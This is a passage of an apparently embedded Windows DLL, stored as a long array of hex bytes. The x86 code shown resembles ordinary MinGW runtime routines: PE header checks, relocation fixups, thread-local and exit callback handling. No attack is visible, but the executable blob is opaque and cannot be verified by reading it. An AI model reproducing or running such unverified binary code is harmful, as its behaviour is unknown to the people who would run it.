xE8,0xAA,0x0B,0x00,0x00,0xC7,0x44,0x24,0x08,0x1B,0x00,0x00,0x00,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xD8,0x82,0x88,0x6C,0xE8,0x52,0x0D,0x00,0x00,0xC7,0x04,0x24,0x02,0x00,0x00,0x00,0xE8,0x7E,0x0B,0x00,0x00,0x8B,0x55,0x08,0x89,0x5C,0x24,0x08,0x89,0x04,0x24,0x89,0x54,0x24,0x04,0xE8,0x9B,0x0D,0x00,0x00,0xE8,0x16,0x0D,0x00,0x00,0x8D,0xB6,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x89,0xC3,0x83,0xEC,0x3C,0x8B,0x35,0x44,0xCA,0x88,0x6C,0x85,0xF6,0x0F,0x8E,0x07,0x01,0x00,0x00,0xA1,0x48,0xCA,0x88,0x6C,0x31,0xC9,0x83,0xC0,0x0C,0x2E,0x8D,0x74,0x26,0x00,0x8B,0x10,0x39,0xD3,0x72,0x0E,0x8B,0x78,0x04,0x03,0x57,0x08,0x39,0xD3,0x0F,0x82,0x81,0x00,0x00,0x00,0x83,0xC1,0x01,0x83,0xC0,0x14,0x39,0xF1,0x75,0xE2,0x89,0x1C,0x24,0xE8,0xB2,0x07,0x00,0x00,0x89,0xC7,0x85,0xC0,0x0F,0x84,0xEF,0x00,0x00,0x00,0xA1,0x48,0xCA,0x88,0x6C,0x8D,0x1C,0xB6,0xC1,0xE3,0x02,0x01,0xD8,0x89,0x78,0x10,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0xDD,0x08,0x00,0x00,0x8B,0x15,0x48,0xCA,0x88,0x6C,0x03,0x47,0x0C,0x89,0x44,0x1A,0x0C,0x8D,0x55,0xCC,0xC7,0x44,0x24,0x08,0x1C,0x00,0x00,0x00,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xFF,0x15,0x2C,0xE1,0x88,0x6C,0x83,0xEC,0x0C,0x85,0xC0,0x0F,0x84,0x84,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x50,0xFC,0x83,0xE2,0xFB,0x74,0x08,0x8D,0x50,0xC0,0x83,0xE2,0xBF,0x75,0x12,0x83,0x05,0x44,0xCA,0x88,0x6C,0x01,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0x76,0x00,0x83,0xF8,0x02,0xBA,0x04,0x00,0x00,0x00,0xB8,0x40,0x00,0x00,0x00,0x8B,0x4D,0xD8,0x0F,0x44,0xC2,0x8B,0x55,0xCC,0x03,0x1D,0x48,0xCA,0x88,0x6C,0x89,0x4B,0x08,0x89,0x53,0x04,0x89,0x5C,0x24,0x0C,0x89,0x44,0x24,0x08,0x89,0x4C,0x24,0x04,0x89,0x14,0x24,0xFF,0x15,0x28,0xE1,0x88,0x6C,0x83,0xEC,0x10,0x85,0xC0,0x75,0xB0,0xFF,0x15,0xFC,0xE0,0x88,0x6C,0xC7,0x04,0x24,0x48,0x83,0x88,0x6C,0x89,0x44,0x24,0x04,0xE8,0x84,0xFE,0xFF,0xFF,0x8D,0x74,0x26,0x00,0x31,0xF6,0xE9,0x1F,0xFF,0xFF,0xFF,0xA1,0x48,0xCA,0x88,0x6C,0x8B,0x44,0x18,0x0C,0x89,0x44,0x24,0x08,0x8B,0x47,0x08,0xC7,0x04,0x24,0x14,0x83,0x88,0x6C,0x89,0x44,0x24,0x04,0xE8,0x59,0xFE,0xFF,0xFF,0x89,0x5C,0x24,0x04,0xC7,0x04,0x24,0xF4,0x82,0x88,0x6C,0xE8,0x49,0xFE,0xFF,0xFF,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x4C,0x8B,0x3D,0x40,0xCA,0x88,0x6C,0x85,0xFF,0x74,0x0D,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0x74,0x26,0x00,0xC7,0x05,0x40,0xCA,0x88,0x6C,0x01,0x00,0x00,0x00,0xE8,0x01,0x07,0x00,0x00,0x8D,0x04,0x80,0x8D,0x04,0x85,0x1B,0x00,0x00,0x00,0xC1,0xE8,0x04,0xC1,0xE0,0x04,0xE8,0x4C,0x09,0x00,0x00,0xC7,0x05,0x44,0xCA,0x88,0x6C,0x00,0x00,0x00,0x00,0x29,0xC4,0x8D,0x44,0x24,0x23,0x83,0xE0,0xF0,0xA3,0x48,0xCA,0x88,0x6C,0xB8,0x54,0x86,0x88,0x6C,0x2D,0x54,0x86,0x88,0x6C,0x83,0xF8,0x07,0x7E,0xA8,0x8B,0x15,0x54,0x86,0x88,0x6C,0x83,0xF8,0x0B,0x0F,0x8F,0x0E,0x01,0x00,0x00,0xBB,0x54,0x86,0x88,0x6C,0x8B,0x03,0x85,0xC0,0x0F,0x85,0xAC,0x01,0x00,0x00,0x8B,0x43,0x04,0x85,0xC0,0x0F,0x85,0xA1,0x01,0x00,0x00,0x8B,0x43,0x08,0x83,0xF8,0x01,0x0F,0x85,0x3F,0x02,0x00,0x00,0x83,0xC3,0x0C,0x81,0xFB,0x54,0x86,0x88,0x6C,0x0F,0x83,0x64,0xFF,0xFF,0xFF,0x89,0x7D,0xCC,0x89,0xDE,0xEB,0x5E,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x83,0xF9,0x08,0x0F,0x85,0x06,0x02,0x00,0x00,0x0F,0xB6,0x9F,0x00,0x00,0x88,0x6C,0x25,0xE0,0x00,0x00,0x00,0x84,0xDB,0x79,0x06,0x81,0xCB,0x00,0xFF,0xFF,0xFF,0x29,0xD3,0x8B,0x55,0xD4,0x01,0xD3,0x85,0xC0,0x75,0x0D,0x81,0xFB,0xFF,0x00,0x00,0x00,0x7F,0x6E,0x83,0xFB,0x80,0x7C,0x69,0x8B,0x45,0xD0,0xE8,0xA1,0xFD,0xFF,0xFF,0x88,0x9F,0x00,0x00,0x88,0x6C,0x83,0xC6,0x0C,0x81,0xFE,0x54,0x86,0x88,0x6C,0x0F,0x83,0xFC,0x00,0x00,0x00,0x8B,0x7E,0x04,0x8D,0x87,0x00,0x00,0x88,0x6C,0x89,0x45,0xD0,0x8B,0x06,0x8D,0x90,0x00,0x00,0x88,0x6C,0x8B,0x80,0x00,0x00,0x88,0x6C,0x89,0x45,0xD4,0x8B,0x46,0x08,0x0F,0xB6,0xC8,0x3C,0x10,0x74,0x7D,0x83,0xF9,0x20,0x75,0x80,0x8B,0x5D,0xD4,0x29,0xD3,0x03,0x9F,0x00,0x00,0x88,0x6C,0x25,0xE0,0x00,0x00,0x00,0x89,0xC1,0x0F,0x85,0xC0,0x00,0x00,0x00,0x85,0xDB,0x78,0xA9,0x8D,0x74,0x26,0x00,0x89,0x5C,0x24,0x10,0x8B,0x45,0xD4,0x89,0x44,0x24,0x0C,0x8B,0x45,0xD0,0x89,0x4C,0x24,0x04,0x89,0x44,0x24,0x08,0xC7,0x04,0x24,0xD0,0x83,0x88,0x6C,0xE8,0xBE,0xFC,0xFF,0xFF,0x8D,0xB6,0x00,0x00,0x00,0x00,0x85,0xD2,0x0F,0x85,0xA0,0x00,0x00,0x00,0xA1,0x58,0x86,0x88,0x6C,0xBB,0x60,0x86,0x88,0x6C,0x89,0xC1,0x0B,0x0D,0x5C,0x86,0x88,0x6C,0x0F,0x84,0xD7,0xFE,0xFF,0xFF,0xBB,0x54,0x86,0x88,0x6C,0xE9,0xDA,0xFE,0xFF,0xFF,0x8D,0xB6,0x00,0x00,0x00,0x00,0x0F,0xB7,0x9F,0x00,0x00,0x88,0x6C,0x25,0xE0,0x00,0x00,0x00,0x66,0x85,0xDB,0x79,0x06,0x81,0xCB,0x00,0x00,0xFF,0xFF,0x29,0xD3,0x8B,0x55,0xD4,0x01,0xD3,0x85,0xC0,0x75,0x18,0x81,0xFB,0x00,0x80,0xFF,0xFF,0x0F,0x8C,0x7A,0xFF,0xFF,0xFF,0x81,0xFB,0xFF,0xFF,0x00,0x00,0x0F,0x8F,0x6E,0xFF,0xFF,0xFF,0x8B,0x45,0xD0,0x83,0xC6,0x0C,0xE8,0xA3,0xFC,0xFF,0xFF,0x66,0x89,0x9F,0x00,0x00,0x88,0x6C,0x81,0xFE,0x54,0x86,0x88,0x6C,0x0F,0x82,0x04,0xFF,0xFF,0xFF,0x8B,0x7D,0xCC,0xEB,0x5D,0x8D,0x76,0x00,0x8B,0x45,0xD0,0xE8,0x80,0xFC,0xFF,0xFF,0x89,0x9F,0x00,0x00,0x88,0x6C,0xE9,0xDA,0xFE,0xFF,0xFF,0x2E,0x8D,0x74,0x26,0x00,0xBB,0x54,0x86,0x88,0x6C,0x81,0xFB,0x54,0x86,0x88,0x6C,0x0F,0x83,0xD2,0xFD,0xFF,0xFF,0x89,0x7D,0xD4,0x8D,0x74,0x26,0x00,0x8B,0x73,0x04,0x8B,0x3B,0x83,0xC3,0x08,0x03,0xBE,0x00,0x00,0x88,0x6C,0x8D,0x86,0x00,0x00,0x88,0x6C,0xE8,0x3F,0xFC,0xFF,0xFF,0x89,0xBE,0x00,0x00,0x88,0x6C,0x81,0xFB,0x54,0x86,0x88,0x6C,0x72,0xD9,0x8B,0x7D,0xD4,0x8B,0x15,0x44,0xCA,0x88,0x6C,0x85,0xD2,0x0F,0x8E,0x93,0xFD,0xFF,0xFF,0x8B,0x1D,0x28,0xE1,0x88,0x6C,0x8D,0x75,0xE4,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x15,0x48,0xCA,0x88,0x6C,0x8D,0x04,0xBF,0x8D,0x04,0x82,0x8B,0x10,0x85,0xD2,0x74,0x1A,0x89,0x74,0x24,0x0C,0x89,0x54,0x24,0x08,0x8B,0x50,0x08,0x89,0x54,0x24,0x04,0x8B,0x40,0x04,0x89,0x04,0x24,0xFF,0xD3,0x83,0xEC,0x10,0x83,0xC7,0x01,0x3B,0x3D,0x44,0xCA,0x88,0x6C,0x7C,0xC9,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x89,0x4C,0x24,0x04,0xC7,0x04,0x24,0xA4,0x83,0x88,0x6C,0xE8,0x61,0xFB,0xFF,0xFF,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x70,0x83,0x88,0x6C,0xE8,0x51,0xFB,0xFF,0xFF,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0xF4,0xE0,0x88,0x6C,0x8B,0x1D,0x4C,0xCA,0x88,0x6C,0x83,0xEC,0x04,0x85,0xDB,0x74,0x36,0x8B,0x3D,0x24,0xE1,0x88,0x6C,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x03,0x89,0x04,0x24,0xFF,0xD7,0x89,0xC6,0x83,0xEC,0x04,0xFF,0x15,0xFC,0xE0,0x88,0x6C,0x85,0xF6,0x74,0x0C,0x85,0xC0,0x75,0x08,0x8B,0x43,0x04,0x89,0x34,0x24,0xFF,0xD0,0x8B,0x5B,0x08,0x85,0xDB,0x75,0xD7,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0x18,0xE1,0x88,0x6C,0x83,0xEC,0x04,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xA1,0x50,0xCA,0x88,0x6C,0x85,0xC0,0x75,0x07,0x31,0xC0,0xC3,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0xC7,0x44,0x24,0x04,0x0C,0x00,0x00,0x00,0xC7,0x04,0x24,0x01,0x00,0x00,0x00,0xE8,0x1D,0x08,0x00,0x00,0x89,0xC3,0x85,0xC0,0x74,0x40,0x8B,0x45,0x08,0x89,0x03,0x8B,0x45,0x0C,0x89,0x43,0x04,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0xF4,0xE0,0x88,0x6C,0xA1,0x4C,0xCA,0x88,0x6C,0x89,0x1D,0x4C,0xCA,0x88,0x6C,0x83,0xEC,0x04,0x89,0x43,0x08,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0x18,0xE1,0x88,0x6C,0x31,0xC0,0x83,0xEC,0x04,0x8B,0x5D,0xFC,0xC9,0xC3,0x83,0xC8,0xFF,0xEB,0xF6,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0xA1,0x50,0xCA,0x88,0x6C,0x8B,0x5D,0x08,0x85,0xC0,0x75,0x0D,0x8B,0x5D,0xFC,0x31,0xC0,0xC9,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0xF4,0xE0,0x88,0x6C,0xA1,0x4C,0xCA,0x88,0x6C,0x83,0xEC,0x04,0x85,0xC0,0x74,0x27,0x31,0xC9,0xEB,0x0B,0x8D,0x76,0x00,0x89,0xC1,0x85,0xD2,0x74,0x1A,0x89,0xD0,0x8B,0x10,0x39,0xDA,0x8B,0x50,0x08,0x75,0xEF,0x85,0xC9,0x74,0x2B,0x89,0x51,0x08,0x89,0x04,0x24,0xE8,0x70,0x07,0x00,0x00,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0x18,0xE1,0x88,0x6C,0x8B,0x5D,0xFC,0x31,0xC0,0x83,0xEC,0x04,0xC9,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x89,0x15,0x4C,0xCA,0x88,0x6C,0xEB,0xD0,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x8B,0x45,0x0C,0x83,0xF8,0x02,0x0F,0x84,0x9D,0x00,0x00,0x00,0x77,0x2B,0x85,0xC0,0x74,0x3F,0xA1,0x50,0xCA,0x88,0x6C,0x85,0xC0,0x0F,0x84,0xAA,0x00,0x00,0x00,0xC7,0x05,0x50,0xCA,0x88,0x6C,0x01,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0x83,0xF8,0x03,0x75,0xEB,0xA1,0x50,0xCA,0x88,0x6C,0x85,0xC0,0x74,0xE2,0xE8,0x1D,0xFE,0xFF,0xFF,0xEB,0xDB,0x8D,0x76,0x00,0xA1,0x50,0xCA,0x88,0x6C,0x85,0xC0,0x75,0x5F,0xA1,0x50,0xCA,0x88,0x6C,0x83,0xF8,0x01,0x75,0xC5,0x8B,0x1D,0x4C,0xCA,0x88,0x6C,0x85,0xDB,0x74,0x14,0x8D,0x76,0x00,0x89,0xD8,0x8B,0x5B,0x08,0x89,0x04,0x24,0xE8,0xBB,0x06,0x00,0x00,0x85,0xDB,0x75,0xEF,0xC7,0x05,0x4C,0xCA,0x88,0x6C,0x00,0x00,0x00,0x00,0xC7,0x05,0x50,0xCA,0x88,0x6C,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0xF0,0xE0,0x88,0x6C,0x83,0xEC,0x04,0xEB,0x81,0x90,0xE8,0x4B,0x04,0x00,0x00,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x90,0xE8,0xAB,0xFD,0xFF,0xFF,0xEB,0x9A,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0xC7,0x04,0x24,0x54,0xCA,0x88,0x6C,0xFF,0x15,0x14,0xE1,0x88,0x6C,0x83,0xEC,0x04,0xE9,0x41,0xFF,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x31,0xD2,0x89,0xE5,0x8B,0x45,0x08,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0B,0x03,0x40,0x3C,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x06,0x89,0xD0,0x5D,0xC3,0x66,0x90,0x31,0xD2,0x66,0x81,0x78,0x18,0x0B,0x01,0x5D,0x0F,0x94,0xC2,0x89,0xD0,0xC3,0x90,0x55,0x89,0xE5,0x56,0x8B,0x55,0x08,0x53,0x8B,0x5D,0x0C,0x03,0x52,0x3C,0x0F,0xB7,0x42,0x14,0x0F,0xB7,0x72,0x06,0x8D,0x44,0x02,0x18,0x66,0x85,0xF6,0x74,0x21,0x31,0xC9,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x50,0x0C,0x39,0xD3,0x72,0x07,0x03,0x50,0x08,0x39,0xD3,0x72,0x0C,0x83,0xC1,0x01,0x83,0xC0,0x28,0x39,0xF1,0x75,0xE8,0x31,0xC0,0x5B,0x5E,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x31,0xDB,0x83,0xEC,0x1C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x02,0x06,0x00,0x00,0x83,0xF8,0x08,0x77,0x72,0x66,0x81,0x3D,0x00,0x00,0x88,0x6C,0x4D,0x5A,0x75,0x67,0x8B,0x15,0x3C,0x00,0x88,0x6C,0x81,0xBA,0x00,0x00,0x88,0x6C,0x50,0x45,0x00,0x00,0x8D,0x82,0x00,0x00,0x88,0x6C,0x75,0x4F,0x66,0x81,0xBA,0x18,0x00,0x88,0x6C,0x0B,0x01,0x75,0x44,0x0F,0xB7,0x92,0x14,0x00,0x88,0x6C,0x0F,0xB7,0x78,0x06,0x8D,0x5C,0x10,0x18,0x66,0x85,0xFF,0x74,0x43,0x31,0xF6,0xEB,0x11,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x83,0xC6,0x01,0x83,0xC3,0x28,0x39,0xFE,0x74,0x2E,0x8B,0x45,0x08,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x89,0x1C,0x24,0x89,0x44,0x24,0x04,0xE8,0x97,0x05,0x00,0x00,0x85,0xC0,0x75,0xDB,0x83,0xC4,0x1C,0x89,0xD8,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x83,0xC4,0x1C,0x31,0xDB,0x89,0xD8,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0x74,0x26,0x00,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x88,0x6C,0x4D,0x5A,0x75,0x18,0x8B,0x0D,0x3C,0x00,0x88,0x6C,0x81,0xB9,0x00,0x00,0x88,0x6C,0x50,0x45,0x00,0x00,0x8D,0x91,0x00,0x00,0x88,0x6C,0x74,0x0B,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x66,0x81,0xB9,0x18,0x00,0x88,0x6C,0x0B,0x01,0x75,0xEA,0x55,0x0F,0xB7,0x81,0x14,0x00,0x88,0x6C,0x8D,0x44,0x02,0x18,0x89,0xE5,0x56,0x0F,0xB7,0xB1,0x06,0x00,0x88,0x6C,0x53,0x8B,0x5D,0x08,0x81,0xEB,0x00,0x00,0x88,0x6C,0x66,0x85,0xF6,0x74,0x20,0x31,0xC9,0x8D,0xB6,0x00,0x00,0x00,0x00,0x8B,0x50,0x0C,0x39,0xD3,0x72,0x07,0x03,0x50,0x08,0x39,0xD3,0x72,0x0C,0x83,0xC1,0x01,0x83,0xC0,0x28,0x39,0xCE,0x75,0xE8,0x31,0xC0,0x5B,0x5E,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x88,0x6C,0x4D,0x5A,0x75,0x12,0x8B,0x15,0x3C,0x00,0x88,0x6C,0x81,0xBA,0x00,0x00,0x88,0x6C,0x50,0x45,0x00,0x00,0x74,0x01,0xC3,0x66,0x81,0xBA,0x18,0x00,0x88,0x6C,0x0B,0x01,0x75,0xF4,0x0F,0xB7,0x82,0x06,0x00,0x88,0x6C,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x2E,0x8D,0x74,0x26,0x00,0x55,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x88,0x6C,0x4D,0x5A,0x89,0xE5,0x53,0x8B,0x4D,0x08,0x75,0x18,0x8B,0x1D,0x3C,0x00,0x88,0x6C,0x81,0xBB,0x00,0x00,0x88,0x6C,0x50,0x45,0x00,0x00,0x8D,0x93,0x00,0x00,0x88,0x6C,0x74,0x0C,0x8B,0x5D,0xFC,0xC9,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x81,0xBB,0x18,0x00,0x88,0x6C,0x0B,0x01,0x75,0xE9,0x0F,0xB7,0x83,0x14,0x00,0x88,0x6C,0x0F,0xB7,0x9B,0x06,0x00,0x88,0x6C,0x8D,0x44,0x02,0x18,0x66,0x85,0xDB,0x74,0x1D,0x31,0xD2,0x8D,0x74,0x26,0x00,0xF6,0x40,0x27,0x20,0x74,0x07,0x85,0xC9,0x74,0xC2,0x83,0xE9,0x01,0x83,0xC2,0x01,0x83,0xC0,0x28,0x39,0xDA,0x75,0xE9,0x8B,0x5D,0xFC,0x31,0xC0,0xC9,0xC3,0x66,0x90,0x31,0xC0,0x66,0x81,0x3D,0x00,0x00,0x88,0x6C,0x4D,0x5A,0x75,0x12,0x8B,0x15,0x3C,0x00,0x88,0x6C,0x81,0xBA,0x00,0x00,0x88,0x6C,0x50,0x45,0x00,0x00,0x74,0x01,0xC3,0x66,0x81,0xBA,0x18,0x00,0x88,0x6C,0x0B,0x01,0xBA,0x00,0x00,0x88,0x6C,0x0F,0x44,0xC2,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB6,0x00,0x00,0x00,0x00,0x31,0xD2,0x66,0x81,0x3D,0x00,0x00,0x88,0x6C,0x4D,0x5A,0x75,0x17,0xA1,0x3C,0x00,0x88,0x6C,0x81,0xB8,0x00,0x00,0x88,0x6C,0x50,0x45,0x00,0x00,0x8D,0x88,0x00,0x00,0x88,0x6C,0x74,0x0C,0x89,0xD0,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x66,0x81,0xB8,0x18,0x00,0x88,0x6C,0x0B,0x01,0x75,0xE9,0x55,0x0F,0xB7,0x80,0x14,0x00,0x88,0x6C,0x8D,0x44,0x01,0x18,0x89,0xE5,0x56,0x53,0x8B,0x5D,0x08,0x0F,0xB7,0x71,0x06,0x81,0xEB,0x00,0x00,0x88,0x6C,0x66,0x85,0xF6,0x74,0x1D,0x31,0xC9,0x90,0x8B,0x50,0x0C,0x39,0xD3,0x72,0x07,0x03,0x50,0x08,0x39,0xD3,0x72,0x12,0x83,0xC1,0x01,0x83,0xC0,0x28,0x39,0xCE,0x75,0xE8,0x31,0xD2,0x5B,0x89,0xD0,0x5E,0x5D,0xC3,0x8B,0x50,0x24,0x5B,0x5E,0x5D,0xF7,0xD2,0xC1,0xEA,0x1F,0x89,0xD0,0xC3,0x66,0x90,0x55,0x31,0xC9,0x66,0x81,0x3D,0x00,0x00,0x88,0x6C,0x4D,0x5A,0x89,0xE5,0x57,0x56,0x53,0x8B,0x5D,0x08,0x75,0x17,0xA1,0x3C,0x00,0x88,0x6C,0x81,0xB8,0x00,0x00,0x88,0x6C,0x50,0x45,0x00,0x00,0x8D,0xB0,0x00,0x00,0x88,0x6C,0x74,0x0B,0x5B,0x89,0xC8,0x5E,0x5F,0x5D,0xC3,0x8D,0x74,0x26,0x00,0x66,0x81,0xB8,0x18,0x00,0x88,0x6C,0x0B,0x01,0x75,0xEA,0x8B,0x80,0x80,0x00,0x88,0x6C,0x85,0xC0,0x74,0xE0,0x0F,0xB7,0x56,0x14,0x0F,0xB7,0x7E,0x06,0x8D,0x54,0x16,0x18,0x66,0x85,0xFF,0x74,0xCF,0x31,0xF6,0x8B,0x4A,0x0C,0x39,0xC8,0x72,0x07,0x03,0x4A,0x08,0x39,0xC8,0x72,0x1A,0x83,0xC6,0x01,0x83,0xC2,0x28,0x39,0xF7,0x75,0xE8,0x31,0xC9,0x5B,0x5E,0x89,0xC8,0x5F,0x5D,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x88,0x6C,0xEB,0x07,0x90,0x83,0xEB,0x01,0x83,0xC0,0x14,0x8B,0x48,0x04,0x85,0xC9,0x75,0x07,0x8B,0x50,0x0C,0x85,0xD2,0x74,0xD4,0x85,0xDB,0x7F,0xE8,0x8B,0x48,0x0C,0x5B,0x5E,0x5F,0x81,0xC1,0x00,0x00,0x88,0x6C,0x5D,0x89,0xC8,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xDB,0xE3,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x51,0x50,0x3D,0x00,0x10,0x00,0x00,0x8D,0x4C,0x24,0x0C,0x72,0x15,0x81,0xE9,0x00,0x10,0x00,0x00,0x83,0x09,0x00,0x2D,0x00,0x10,0x00,0x00,0x3D,0x00,0x10,0x00,0x00,0x77,0xEB,0x29,0xC1,0x83,0x09,0x00,0x58,0x59,0xC3,0x90,0x90,0x66,0x90,0x66,0x90,0xB8,0x01,0x00,0x00,0x00,0xC2,0x0C,0x00,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x31,0xC0,0x89,0xE5,0x8B,0x55,0x0C,0x8B,0x4D,0x08,0x85,0xD2,0x75,0x10,0xEB,0x17,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x83,0xC0,0x01,0x39,0xC2,0x74,0x09,0x66,0x83,0x3C,0x41,0x00,0x75,0xF2,0x89,0xC2,0x89,0xD0,0x5D,0xC3,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x8B,0x45,0x08,0x5D,0xC1,0xE0,0x05,0x03,0x05,0x3C,0xE1,0x88,0x6C,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x8B,0x45,0x08,0x85,0xC0,0x74,0x18,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0xC7,0x40,0x04,0x00,0x00,0x00,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x5D,0xC3,0xB8,0xFF,0xFF,0xFF,0xFF,0x5D,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x5D,0x08,0x85,0xDB,0x0F,0x84,0xAD,0x00,0x00,0x00,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x30,0x01,0x00,0x00,0x8B,0x03,0x85,0xC0,0x74,0x62,0x8B,0x53,0x04,0x8B,0x43,0x08,0x39,0xC2,0x74,0x28,0x8D,0x42,0x04,0x89,0x43,0x04,0x8B,0x45,0x0C,0x89,0x02,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x11,0x01,0x00,0x00,0x31,0xC0,0x83,0xC4,0x1C,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x03,0x89,0xD7,0x29,0xC7,0x89,0x04,0x24,0x89,0xFE,0xC1,0xFE,0x02,0xC1,0xE6,0x03,0x89,0x74,0x24,0x04,0xE8,0x36,0x01,0x00,0x00,0x85,0xC0,0x74,0x3F,0x89,0x03,0x8D,0x14,0x38,0x01,0xF0,0x89,0x43,0x08,0xEB,0xAE,0x8D,0xB6,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x04,0x00,0x00,0x00,0xC7,0x04,0x24,0x20,0x00,0x00,0x00,0xE8,0xCC,0x00,0x00,0x00,0x89,0x03,0x89,0xC2,0x85,0xC0,0x74,0x11,0x89,0x43,0x04,0x8D,0x80,0x80,0x00,0x00,0x00,0x89,0x43,0x08,0xE9,0x77,0xFF,0xFF,0xFF,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x97,0x00,0x00,0x00,0x83,0xC8,0xFF,0xEB,0x83,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x7D,0x08,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x68,0x00,0x00,0x00,0x8B,0x37,0x8B,0x5F,0x04,0xC7,0x47,0x08,0x00,0x00,0x00,0x00,0xC7,0x47,0x04,0x00,0x00,0x00,0x00,0xC7,0x07,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x08,0x00,0x00,0x00,0xE8,0x4B,0x00,0x00,0x00,0x85,0xF6,0x74,0x1E,0x83,0xEB,0x04,0x39,0xF3,0x72,0x0F,0x8B,0x03,0x85,0xC0,0x74,0xF3,0xFF,0xD0,0x83,0xEB,0x04,0x39,0xF3,0x73,0xF1,0x89,0x34,0x24,0xE8,0x41,0x00,0x00,0x00,0x83,0xC4,0x1C,0x31,0xC0,0x5B,0x5E,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0x25,0x34,0xE1,0x88,0x6